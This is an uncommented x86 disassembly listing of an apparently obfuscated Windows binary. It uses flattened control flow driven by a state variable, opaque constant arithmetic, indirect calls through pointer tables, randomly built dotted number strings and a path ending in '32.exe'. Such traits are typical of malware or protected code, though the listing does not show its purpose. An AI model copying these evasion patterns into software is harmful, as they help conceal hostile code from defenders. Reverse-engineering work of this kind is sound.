mov eax, esp
mov ecx, dword [esi + 0x240]
mov dword [esi + 0x230], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x240]
mov dword [esi + 0x22c], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x240]
mov dword [esi + 0x228], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x240]
mov dword [esi + 0x224], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x240]
mov dword [esi + 0x220], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x240]
mov dword [esi + 0x21c], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x240]
mov dword [esi + 0x218], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x240]
mov dword [esi + 0x214], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x240]
mov dword [esi + 0x210], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x240]
mov dword [esi + 0x20c], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, 0xc8
mov dword [esi + 0x208], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, 0x28
mov dword [esi + 0x204], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, 0x10
mov dword [esi + 0x200], eax
mov eax, ecx
mov dword [esi + 0x1fc], ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x1fc]
mov dword [esi + 0x1f8], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, 0xc
mov dword [esi + 0x1f4], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x1f0], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x1ec], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x1e8], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x1e4], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x1e0], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x1dc], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x1d8], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x1d4], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x1d0], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x1cc], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x298]
mov dword [ecx], 0
mov edx, dword [esi + 0x294]
mov dword [edx], 0
mov edi, dword [esi + 0x290]
mov dword [edi], 0
mov ebx, dword [esi + 0x28c]
mov dword [ebx], 0
mov ecx, dword [esi + 0x288]
mov dword [ecx], 0
mov ecx, dword [esi + 0x284]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x3c
mov dword [esi + 0x1c8], eax
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x248]
mov dword [eax], 0
mov ecx, dword [esi + 0x244]
mov dword [ecx], 0
mov edx, dword [esi + 0x23c]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x238]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x234]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x230]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x22c]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x228]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x224]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x220]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x21c]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x218]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x214]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x210]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x208]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x204]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc8
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x200]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x28
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x1f8]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x1f4]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x1f0]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xa
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x1dc]
mov dword [eax], 0
mov ecx, dword [esi + 0x1d8]
mov dword [ecx], 0
mov edx, dword [esi + 0x1cc]
mov dword [edx], 0
mov edi, dword [esi + 0x1c8]
mov dword [edi], 0xffffffff
call fcn.0043e350
mov dword [esi + 0x950], 0x77d6c286
mov dword [esi + 0x1c4], eax
jmp 0x40ad3c
mov eax, dword [0x52f984]
add eax, 2
mov dword [0x52f984], eax
mov dword [esi + 0x950], 0xc23b010b
jmp 0x40ad3c
mov dword [esi + 0x950], 0x646cb2cb
jmp 0x40ad3c
mov eax, dword [esi + 0xa18]
sub esp, 4
mov dword [esp], eax
call fcn.0043cca0
add esp, 4
mov dword [esi + 0x950], 0x54cc0acf
mov dword [esi + 0x1c0], eax
jmp 0x40ad3c
mov eax, 0x104
mov ecx, dword [esi + 0x9f8]
mov ecx, dword [ecx]
mov edx, dword [esi + 0x9d8]
mov edi, dword [esi + 0x9c4]
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esi + 0x1bc], eax
call fcn.0042c800
add esp, 0x10
mov ecx, 0
mov edx, dword [esi + 0xa14]
mov dword [edx], eax
mov eax, dword [esi + 0xa14]
mov eax, dword [eax]
sub ecx, 4
add eax, ecx
mov ecx, dword [esi + 0x9c4]
mov word [ecx + eax*2], 0
mov eax, dword [esi + 0x9c4]
sub esp, 0x10
mov ecx, esp
mov dword [ecx + 0xc], eax
mov dword [ecx + 8], 0
mov dword [ecx + 4], 0
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventW]
call eax
mov ecx, dword [esi + 0x960]
mov dword [ecx], eax
mov eax, dword [esi + 0x960]
mov dword [esi + 0x950], 0x3b260292
mov dword [esi + 0x1b8], eax
jmp 0x40ad3c
lea eax, [0x52f988]
mov ecx, 0x104
mov edx, dword [esi + 0x9f8]
mov edx, dword [edx]
mov edi, dword [esi + 0x9d8]
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], 0x104
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esi + 0x1b4], ecx
call fcn.00441460
add esp, 0x10
mov dword [esi + 0x950], 0xb6ecd718
mov dword [esi + 0x1b0], eax
jmp 0x40ad3c
lea eax, [0x52f988]
mov ecx, 0x104
mov edx, dword [esi + 0x9f8]
mov edx, dword [edx]
mov edi, dword [esi + 0x9d8]
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], 0x104
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esi + 0x1a8], ecx
call fcn.00441460
add esp, 0x10
mov dword [esi + 0x950], 0x45c7db2a
mov dword [esi + 0x1a4], eax
jmp 0x40ad3c
mov eax, dword [0x530cd4]
mov ecx, dword [0x530aec]
mov edx, dword [0x530b14]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
mov ebx, dword [esi + 0x970]
sub esp, 0x18
mov dword [esi + 0x1a0], eax
mov eax, esp
mov dword [eax + 0x14], ebx
mov dword [eax + 8], ecx
mov dword [eax + 4], edx
mov dword [eax], edi
mov dword [eax + 0x10], 1
mov dword [eax + 0xc], 1
mov eax, dword [esi + 0x1a0]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530afc]
mov edi, dword [0x530b14]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
mov dword [esi + 0x19c], eax
mov eax, dword [esi + 0x974]
sub esp, 0x18
mov dword [esi + 0x198], eax
mov eax, esp
mov dword [esi + 0x194], ecx
mov ecx, dword [esi + 0x198]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x194]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530b00]
mov edi, dword [0x530b14]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
mov dword [esi + 0x190], eax
mov eax, dword [esi + 0x978]
sub esp, 0x18
mov dword [esi + 0x18c], eax
mov eax, esp
mov dword [esi + 0x188], ecx
mov ecx, dword [esi + 0x18c]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x188]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530aec]
mov edi, dword [0x530b10]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
mov dword [esi + 0x184], eax
mov eax, dword [esi + 0x97c]
sub esp, 0x18
mov dword [esi + 0x180], eax
mov eax, esp
mov dword [esi + 0x17c], ecx
mov ecx, dword [esi + 0x180]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x17c]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530ae0]
mov edi, dword [0x530b20]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
mov dword [esi + 0x178], eax
mov eax, dword [esi + 0x980]
sub esp, 0x18
mov dword [esi + 0x174], eax
mov eax, esp
mov dword [esi + 0x170], ecx
mov ecx, dword [esi + 0x174]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x170]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530aec]
mov edi, dword [0x530b24]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
mov dword [esi + 0x16c], eax
mov eax, dword [esi + 0x984]
sub esp, 0x18
mov dword [esi + 0x168], eax
mov eax, esp
mov dword [esi + 0x164], ecx
mov ecx, dword [esi + 0x168]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 1
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x164]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530b30]
mov edi, dword [0x530b28]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
mov dword [esi + 0x160], eax
mov eax, dword [esi + 0x988]
sub esp, 0x18
mov dword [esi + 0x15c], eax
mov eax, esp
mov dword [esi + 0x158], ecx
mov ecx, dword [esi + 0x15c]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x158]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530b2c]
mov edi, dword [0x530b28]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
mov dword [esi + 0x154], eax
mov eax, dword [esi + 0x98c]
sub esp, 0x18
mov dword [esi + 0x150], eax
mov eax, esp
mov dword [esi + 0x14c], ecx
mov ecx, dword [esi + 0x150]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 1
mov dword [eax + 0xc], 0
mov eax, dword [esi + 0x14c]
call eax
mov ecx, dword [0x530cd4]
mov edx, dword [0x530b2c]
mov edi, dword [0x530b14]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
mov dword [esi + 0x148], eax
mov eax, dword [esi + 0x990]
sub esp, 0x18
mov dword [esi + 0x144], eax
mov eax, esp
mov dword [esi + 0x140], ecx
mov ecx, dword [esi + 0x144]
mov dword [eax + 0x14], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 1
mov eax, dword [esi + 0x140]
call eax
mov ecx, dword [0x530cd0]
mov edx, dword [esi + 0x968]
mov edx, dword [edx]
sub esp, 4
mov edi, esp
mov dword [edi], edx
mov dword [esi + 0x13c], eax
call ecx
mov ecx, dword [esi + 0x9e8]
mov dword [esi + 0x138], eax
mov dword [esi + 0x134], ecx
call fcn.0041ebcd
and eax, 0xf
sub esp, 0xc
mov ecx, esp
mov edx, dword [esi + 0x134]
mov dword [ecx + 4], edx
mov dword [ecx], eax
mov dword [ecx + 8], 0xa
call fcn.0041f0da
add esp, 0xc
mov ecx, dword [esi + 0x9e8]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0x130], eax
call fcn.004510c0
add esp, 4
mov ecx, dword [esi + 0x9f8]
mov dword [ecx], eax
mov eax, dword [esi + 0x9f8]
mov eax, dword [eax]
mov ecx, eax
inc ecx
mov edx, dword [esi + 0x9f8]
mov dword [edx], ecx
mov ecx, dword [esi + 0x9e8]
mov word [ecx + eax*2], 0x2e
mov eax, dword [esi + 0x9e8]
mov ecx, dword [esi + 0x9f8]
mov ecx, dword [ecx]
lea eax, [eax + ecx*2]
mov dword [esi + 0x12c], eax
call fcn.0041ebcd
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
sub esp, 0xc
mov eax, esp
mov edx, dword [esi + 0x12c]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0xa
call fcn.0041f0da
add esp, 0xc
mov ecx, dword [esi + 0x9e8]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0x128], eax
call fcn.004510c0
add esp, 4
mov ecx, dword [esi + 0x9f8]
mov dword [ecx], eax
mov eax, dword [esi + 0x9f8]
mov eax, dword [eax]
mov ecx, eax
inc ecx
mov edx, dword [esi + 0x9f8]
mov dword [edx], ecx
mov ecx, dword [esi + 0x9e8]
mov word [ecx + eax*2], 0x2e
mov eax, dword [esi + 0x9e8]
mov ecx, dword [esi + 0x9f8]
mov ecx, dword [ecx]
lea eax, [eax + ecx*2]
mov dword [esi + 0x124], eax
call fcn.0041ebcd
and eax, 5
sub esp, 0xc
mov ecx, esp
mov edx, dword [esi + 0x124]
mov dword [ecx + 4], edx
mov dword [ecx], eax
mov dword [ecx + 8], 0xa
call fcn.0041f0da
add esp, 0xc
mov ecx, dword [esi + 0x9e8]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0x120], eax
call fcn.004510c0
add esp, 4
mov ecx, dword [esi + 0x9f8]
mov dword [ecx], eax
mov eax, dword [esi + 0x9f8]
mov eax, dword [eax]
mov ecx, eax
inc ecx
mov edx, dword [esi + 0x9f8]
mov dword [edx], ecx
mov ecx, dword [esi + 0x9e8]
mov word [ecx + eax*2], 0x2e
mov eax, dword [esi + 0x9e8]
mov ecx, dword [esi + 0x9f8]
mov ecx, dword [ecx]
lea eax, [eax + ecx*2]
mov dword [esi + 0x11c], eax
call fcn.0041ebcd
mov ecx, eax
xor ecx, 0xfffffff3
and ecx, eax
sub esp, 0xc
mov eax, esp
mov edx, dword [esi + 0x11c]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0xa
call fcn.0041f0da
add esp, 0xc
mov ecx, dword [esi + 0x9e8]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
mov dword [esi + 0x118], eax
call fcn.004510c0
add esp, 4
mov ecx, dword [esi + 0x9f8]
mov dword [ecx], eax
mov eax, dword [0x4ee48c]
movzx eax, byte [eax]
mov ecx, dword [esi + 0xa30]
mov dword [ecx], eax
mov eax, dword [esi + 0xa30]
mov eax, dword [eax]
mov ecx, dword [0x4ee48c]
movzx eax, byte [eax + ecx + 1]
mov ecx, dword [esi + 0xa34]
mov dword [ecx], eax
mov eax, dword [esi + 0xa34]
mov eax, dword [eax]
mov ecx, dword [0x4ee48c]
mov edx, dword [esi + 0xa30]
mov edx, dword [edx]
lea ecx, [ecx + edx + 2]
mov edx, dword [0x4ee48c]
inc edx
mov edi, dword [esi + 0xa30]
mov edi, dword [edi]
mov ebx, dword [esi + 0x9f0]
sub esp, 0x14
mov dword [esi + 0x114], eax
mov eax, esp
mov dword [esi + 0x110], ecx
mov ecx, dword [esi + 0x114]
mov dword [eax + 0x10], ecx
mov ecx, dword [esi + 0x110]
mov dword [eax + 0xc], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call fcn.00437780
add esp, 0x14
mov eax, dword [0x530ccc]
mov ecx, dword [0x530b08]
mov edx, dword [esi + 0x968]
mov edx, dword [edx]
sub esp, 8
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
call eax
mov ecx, dword [esi + 0x994]
mov dword [ecx], eax
mov eax, dword [0x530cc4]
xor ecx, ecx
mov edx, dword [0x530b38]
mov edi, dword [0x530ae8]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
sub esp, 0x10
mov dword [esi + 0x10c], eax
mov eax, esp
mov dword [eax + 0xc], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov eax, dword [esi + 0x10c]
call eax
mov ecx, dword [0x530cc0]
mov edx, dword [esi + 0x9e8]
mov edi, dword [0x530b04]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
sub esp, 0xc
mov dword [esi + 0x108], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call ecx
mov ecx, dword [0x530cc0]
mov edx, dword [esi + 0x9bc]
mov edi, dword [0x530aec]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
sub esp, 0xc
mov dword [esi + 0x104], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call ecx
mov ecx, dword [0x530cbc]
mov edx, dword [0x530ae4]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 0xc
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [ebx + 8], 1
mov dword [esi + 0x100], eax
call ecx
mov ecx, dword [0x530cb8]
mov edx, dword [esi + 0x9f0]
mov edi, dword [0x530b34]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
sub esp, 0x10
mov dword [esi + 0xfc], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0xc], 0x10
call ecx
mov ecx, dword [0x530ccc]
mov edx, dword [0x530b0c]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xf8], eax
call ecx
mov ecx, dword [esi + 0x998]
mov dword [ecx], eax
mov eax, dword [0x530cb4]
mov ecx, dword [esi + 0x97c]
mov ecx, dword [ecx]
mov edx, dword [esi + 0x968]
mov edx, dword [edx]
sub esp, 8
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
call eax
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0x97c]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xf4], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0x984]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xf0], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0x984]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xec], eax
call ecx
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0x998]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xe8], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0x974]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xe4], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0x974]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xe0], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0x978]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xdc], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0x978]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xd8], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0x970]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xd4], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0x990]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0xd0], eax
call ecx
mov dword [esi + 0xcc], eax
call fcn.0041ebcd
mov ecx, 0
mov edx, 5
xor edi, edi
mov dword [esi + 0xc8], edx
mov edx, edi
mov edi, dword [esi + 0xc8]
div edi
mov eax, dword [edx*4 + 0x4ee490]
mov edx, dword [esi + 0x9a8]
mov dword [edx], eax
mov eax, dword [esi + 0x9a8]
mov eax, dword [eax]
movzx eax, word [eax]
mov edx, dword [esi + 0x9fc]
mov dword [edx], eax
mov eax, dword [esi + 0x9a8]
mov eax, dword [eax]
movzx eax, word [eax]
mov edx, dword [esi + 0xa38]
mov dword [edx], eax
mov eax, dword [esi + 0xa38]
mov eax, dword [eax]
mov edx, ecx
sub edx, eax
mov eax, ecx
sub eax, 1
add edx, eax
sub ecx, edx
mov eax, dword [esi + 0x9a8]
mov eax, dword [eax]
movzx eax, word [eax + ecx*2]
mov ecx, dword [esi + 0xa3c]
mov dword [ecx], eax
mov eax, dword [esi + 0xa3c]
mov eax, dword [eax]
mov ecx, dword [esi + 0x9a8]
mov ecx, dword [ecx]
mov edx, dword [esi + 0xa38]
mov edx, dword [edx]
shl edx, 1
add ecx, edx
add ecx, 4
mov edx, dword [esi + 0x9a8]
mov edx, dword [edx]
add edx, 2
mov ebx, dword [esi + 0xa38]
mov ebx, dword [ebx]
mov edi, dword [esi + 0x9b0]
sub esp, 0x14
mov dword [esp], edi
mov dword [esp + 4], ebx
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
call fcn.004016a0
add esp, 0x14
mov eax, 0x104
mov ecx, dword [esi + 0x9fc]
mov ecx, dword [ecx]
mov edx, dword [esi + 0x9b0]
mov edi, dword [esi + 0x9d0]
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esi + 0xc4], eax
call fcn.00441460
add esp, 0x10
lea ecx, [0x45e360]
mov edx, 4
mov edi, 0x6921c714
mov ebx, dword [esi + 0x9fc]
mov ebx, dword [ebx]
add edi, 0x104
sub edi, ebx
sub edi, 0x6921c714
mov ebx, dword [esi + 0x9d0]
mov dword [esi + 0xc0], eax
mov eax, dword [esi + 0x9fc]
mov eax, dword [eax]
shl eax, 1
add ebx, eax
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esi + 0xbc], edx
call fcn.00441460
add esp, 0x10
mov ecx, 0x104
mov edx, dword [esi + 0x9fc]
mov edx, dword [edx]
mov edi, dword [esi + 0x9b0]
mov ebx, dword [esi + 0x9d4]
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], 0x104
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esi + 0xb8], eax
mov dword [esi + 0xb4], ecx
call fcn.00441460
add esp, 0x10
lea ecx, str.32.exe
mov edx, 6
mov edi, 0x104
mov ebx, dword [esi + 0x9fc]
mov ebx, dword [ebx]
sub edi, 0xcdda92eb
sub edi, ebx
add edi, 0xcdda92eb
mov ebx, dword [esi + 0x9d4]
mov dword [esi + 0xb0], eax
mov eax, dword [esi + 0x9fc]
mov eax, dword [eax]
shl eax, 1
add ebx, eax
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 6
mov dword [esi + 0xac], edx
call fcn.00441460
add esp, 0x10
mov ecx, 0
mov edx, dword [0x4ee4a4]
movzx edx, byte [edx]
mov edi, dword [esi + 0xa40]
mov dword [edi], edx
mov edx, dword [esi + 0xa40]
mov edx, dword [edx]
mov edi, ecx
sub edi, edx
mov edx, ecx
sub edx, 1
add edi, edx
sub ecx, edi
mov edx, dword [0x4ee4a4]
movzx ecx, byte [edx + ecx]
mov edx, dword [esi + 0xa44]
mov dword [edx], ecx
mov ecx, dword [esi + 0xa44]
mov ecx, dword [ecx]
mov edx, dword [0x4ee4a4]
mov edi, dword [esi + 0xa40]
add edx, dword [edi]
add edx, 2
mov edi, dword [0x4ee4a4]
add edi, 1
mov ebx, dword [esi + 0xa40]
mov ebx, dword [ebx]
mov dword [esi + 0xa8], eax
mov eax, dword [esi + 0x9f4]
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
call fcn.00437780
add esp, 0x14
mov eax, dword [0x530ccc]
mov ecx, dword [0x530b14]
mov edx, dword [esi + 0x968]
mov edx, dword [edx]
sub esp, 8
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
call eax
mov ecx, dword [esi + 0x99c]
mov dword [ecx], eax
mov eax, dword [0x530cc0]
mov ecx, dword [esi + 0x9d0]
mov edx, dword [0x530aec]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 0xc
mov ebx, esp
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [ebx], edi
call eax
mov ecx, dword [0x530cc0]
mov edx, dword [esi + 0x9d4]
mov edi, dword [0x530af4]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
sub esp, 0xc
